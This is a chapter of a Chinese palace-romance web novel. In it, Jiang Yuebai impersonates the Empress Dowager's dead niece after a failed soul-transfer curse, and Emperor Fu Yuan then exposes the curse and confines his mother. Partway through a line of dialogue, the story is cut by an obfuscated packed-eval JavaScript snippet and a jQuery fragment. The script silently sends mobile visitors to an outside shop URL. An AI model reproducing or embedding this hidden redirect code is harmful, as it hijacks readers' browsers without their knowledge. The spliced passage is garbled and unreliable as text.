江月白浑身一僵,大气都不敢出。
这是怎么回事???
好在太后并未在意,温软的身子覆了上来,失而复得地抱紧她,还安抚地拍了拍她单薄的脊背:“长乐别怕,你现在的身体是皇后的。从今以后,你就是渊儿的元后了。”
太后诉说着对长乐郡主的思念。
也给了江月白充足的反应时间,她似乎把她当成了长乐郡主。
“姑母……”江月白强忍着不惯,试探性地叫了一声。
只是太不习惯,听起来格外别扭。
乌沉的夜幕间,太后看不清她的表情,还以为是长乐郡主不喜欢江月白这具身体,抵在她耳边轻声道:“别起性子。虽然她是蠢笨了些,可这副皮囊好看啊,而且还是后宫之主,此后你还有我护着,多好的前途。”
江月白嘴角瘪了一下,扯了扯太后的衣袖,故作不安道:“可是姑母,万一被人发现了怎么办?”
太后冷嗤一声,语气笃定:“不可能,此事我做的极其隐蔽,连李嬷嬷都只知晓一半。凤栖宫的那些蠢货就更不用说了,找个由头,全都做了就是。”
江月白顿觉心惊。
怎么这般不讲道理啊。
夜色静得人慌,慈宁宫内只有两人微弱的呼吸。
太后忽而问她:“长乐,前些日子姑母送你的《溪山雪意图》,你还喜欢吗?”
江月白一时不知作何感慨。她前些日子布置凤栖宫,阿落从内务府里抱来好几副画卷用来装饰书房,其中就有这副《溪山雪意图》。
因着她觉得这话好看,阿落特地讲此画来历,说只有一卷,从前一直在内务府里。
所以太后这是起疑了?
她竭力镇静,仿着长乐郡主的语气娇嗔道:“姑母何时送过我这副画卷?莫不是记混了吧。”
江月白的嗓音且甜且娇,平日说话倒是听不出来什么,可一旦撒娇求饶,嗓音就甜得腻人,直勾的人心痒痒的。
即便知道芯子是长乐,太后也下意识不喜,这种腔调,总让她想起了从前的灰暗日子。那个妖妃也总是这般的腔调,勾的先帝回不了神。
她摆摆手,颇为疲惫地说:“这个厌胜之术耗费了哀家五年的寿命,哀家乏了,你且退下吧。”
江月白早就觉得煎熬,只是苦于不清楚长乐郡主的性子,不敢多言。闻此,江月白正欲告退,却忽而动作一滞,像是想起什么的抬起头。
月色透过纱窗,落在地上的砖石上。
太后借着光亮,一步步喘着粗气要走到上首的座椅上。胳膊却忽而被“长乐”轻轻挽住,极其轻柔地搀扶着她坐在上首的座椅上,“长乐郡主”顺势坐在下首。
太后原本的五分怀疑如今只剩下三分,她的长乐对凤栖宫特别厌恶,曾说过即便他日为后,也绝不住江月白住过的宫殿。
所以方才如若皇后踏出宫门半步,她便会摔碎茶盏为号,李嬷嬷会带着一众人绑了江月白,各种私刑轮上一遍,不怕江月白求生不得、求死不能。
她毕竟是皇帝的生身母亲,何况又没犯人命,皇帝还能杀了她不成?
想到入情处,太后不免又咳嗽了两声,瞧着江月白半隐在夜色的姣好面容,缓缓笑了。
好在上天垂怜,是她的长乐回来了。
历经生死,还懂事了不少。太后又是开心又是心酸,娇纵着长了十六年的孩子,此后还是要事事小心。
她打起精神夸赞了两句,就听见“长乐郡主”的声音。
“姑母,我有一主意。”
太后:“……”
剩下的三分疑惑也全都打消了,这种自作聪明、乱出主意的样子,一看就是长乐。
“姑母,你不如将这法子教与我。待找到一个年轻貌美又尊贵的躯壳后,我帮姑母也换换。到时咱们一家人就可以长长久久在一起了。”
几个月前的江月白绝不敢相信自己居然有演戏的功底,短短十几天,她练就了虚与委蛇的本领。
太后被她气的又连连咳嗽,待稍稍平息后,心中又不免埋怨“长乐郡主”不懂事。
“你如今越发胆大了!之前不顾哀家的命令,偷偷处置皇后反被处死,还没让你长记性吗?!你怎么还是这么蠢笨啊,这件事要是简单,天下人岂不是皆可长生不老了!你知道这个厌胜之术,需要多少条件吗?不是简单的两个人的生辰八字就行了……”
“总之,这件事你想都不要想,哀家能保证,至少百年内,绝对再无这般可能。”
江月白心放回了肚子里,这种术法太可怕了,如若任意滥用,简直是不堪设想。
至于这次为什么失误,她也猜到了。太后用的是原身的生辰八字,可是原身的魂魄早就入地府了。
她不再多话,随便敷衍了几句,便告退了。
只是走到房门口时,门恰好由外推开。
月光肆无忌惮挤了进来,沉寂许久的风也开始飘荡,吹得树梢簌簌作响,吹得眼前人衣袂蹁跹。
他立在外殿中,半掀眼皮,目光似月色般薄凉。
角落青衣侍卫架在宫人脖颈间的佩剑,不及他面色半分的寒。
须臾,他沉沉的脚步声响在白玉砖石上,一步一步,不疾不徐,走到她面前。
他抬眼望了她身后一眼,目光旋即落在她的脸上。
江月白不自觉屏息,身子紧紧绷了起来,由着他打量,思绪却止不住地翻涌。
傅渊怎么会在这里?他听到了多少?
他是想要她活着,还是要表妹郑长乐呢……
还未想好,就看到傅渊移开视线,目光落到她身后:“这就是你所谓的厌胜之术?”
嗓音如冬日的雪一般,冻的人发颤。
对比之下,才知道傅渊从前对她有多么温柔。
沈久往殿内放了两盏灯笼,她正欲跟着沈久离开,以防自己听到什么不该听的而被灭口。
与傅渊擦肩而过的时候,手腕却倏地被他拽住。
稍一用力。
她没有防备,整个人旋转两圈,最后跌落在他怀中。
下意识攥紧他的衣袖,整个身子僵了起来。
耳廓是他沉稳有力的心跳声,铺天盖地的沉光香瞬间裹紧她微微颤抖的身子。
春衫单薄,她似乎都能感受到衣衫下他紧致起伏的肌肉,泛着层层热意,蔓延到她的面上。
她猛然松开紧攥他衣角的手,无措地从他怀里退出来。
她眼睫低垂,能感觉到他的视线落在自己身上。
身后的门"啪"地一下阖上了。
她不用抬头也知道,这个屋子内,只剩他们三人。
她一个小白跟心机深沉的母子俩共处一室……
心间的鼓点跳动得飞快,她轻颤着眼睫,一时不知该怎么办。
踌躇间,她忽而听到傅渊压低的声音:“站朕身旁。”
他的声音很轻,不仔细听根本听不出来,却带着一股安定人心的力量。
江月白思忖片刻,终是乖顺地站在他身边。
太后冷眼瞧着这一幕,表情突变,瞪大眼睛愕然道:“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699279|208077||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不是长乐!这绝不可能!哀家不可能失败!”
这不可能!那方子里明明说施术者手臂上留下斑点,即代表扣寿五年,施术成功。她明明都成功了,怎么长乐没有还魂呢?
被发现了。
江月白下意识往身侧的傅渊旁靠了两步,他身上的沉光香顺势弥漫过来。
夜色微凉,她只穿着内大袖和湘妃渐变色细褶柯子裙,浓郁似水红色的裙摆疏落绣着几朵白色蔷薇,随着微风正细微地颤抖着。
怪冷的。
黑压压的影子从头顶罩来,江月白眼前一黑,伸手拿下一看竟是一件绣着五爪金龙的玄色大衫。
她愕然地看向傅渊。
琥珀色的眸子里闪着无措。
慈宁宫内满地蜡泪狼藉,角落里藏着一团灰烬,里面隐约可见几块妃色碎料。
傅渊随意扫了两眼,转而看向太后,语气凉薄,“你可知在宫中行压胜之术,是什么惩处?”
太后默不作声,沉寂了一会儿,她只冷静地对视回来:“我是你的母亲,你不能弑母。”
“弑母。”
傅渊在口中品玩了两遍,意味不明地笑了下,他眼皮半敛,指腹徐徐摩挲着玉扳指:“朕向来不重人伦,你不知道吗?”
太后脸色骤然变得惨白。
她没想到他居然真的狠心至此,罔顾人伦。
“自相信厌胜之术起,你就是个蠢物,与疯子没什么两样。”傅渊语气淡淡,“既如此,那便住到雨霜宫吧。”
江月白心头一跳,她听阿落说过,雨霜宫是疯掉的太妃们住的地方。正常人关进去,怕是不出半月,也会被逼疯的。比系统说的关禁闭要严重得多。
太后颓在椅子上,低垂着头,整张脸隐在黑暗里,看不清神情。
江月白本以为她会挣扎,会自持身份仗着孝道来压傅渊。可太后沉默半晌后,只是缓缓抬头,轻轻说了声:“好”。
她又将视线落在江月白身上,目光似河水沉沉浮浮,看不清底色。
她问:“告诉哀家,到底哪一点失败了?”
江月白立刻意识到,眼下便是挑衅太后的绝佳机会。
机不可失。
她捧着衣衫望向傅渊,清凌凌的眸子里闪着些许亮光。
傅渊轻轻颔首。
江月白冲着他感激一笑。而后紧紧攥着衣衫,竭力看向太后,拖着腔调道:“这便是本宫教你的一课,莫要相信敌人。”
“本宫现在恨毒了你,又怎么会自降身价地告诉你呢?不过你放心,以后本宫不恨你了,你就好好在雨霜宫里养老吧。”
江月白不会放狠话,只好模仿太后之前欺骗她的语言。
以牙还牙,以眼还眼,很公平。
太后的脸色自她说第一句时,就冷若冰霜,用那种“你死定了,哀家做鬼都不会放过你”的眼神盯着江月白。
藏在裙摆下的腿在发颤,无奈系统的任务,江月白只好硬着头皮说下去。
好不容易撑到说完,一手提着衣衫,一手拽着傅渊,飞一般地溜出慈宁宫主殿。
等感受不到太后冰冷如蛇的视线后,她才靠着门板喘息着,口中不断喃喃:“吓死人了,吓死人了。”
【恭喜宿主,任务完成。】
四周静得诡异,
她一抬头就见傅渊正好整以暇地看着她。
四目相对,他长眉轻挑,垂眸下望。
江月白脑中一片空白,缓缓随着他的动作往下看。
赫然发现她的手还抓在他的袖口。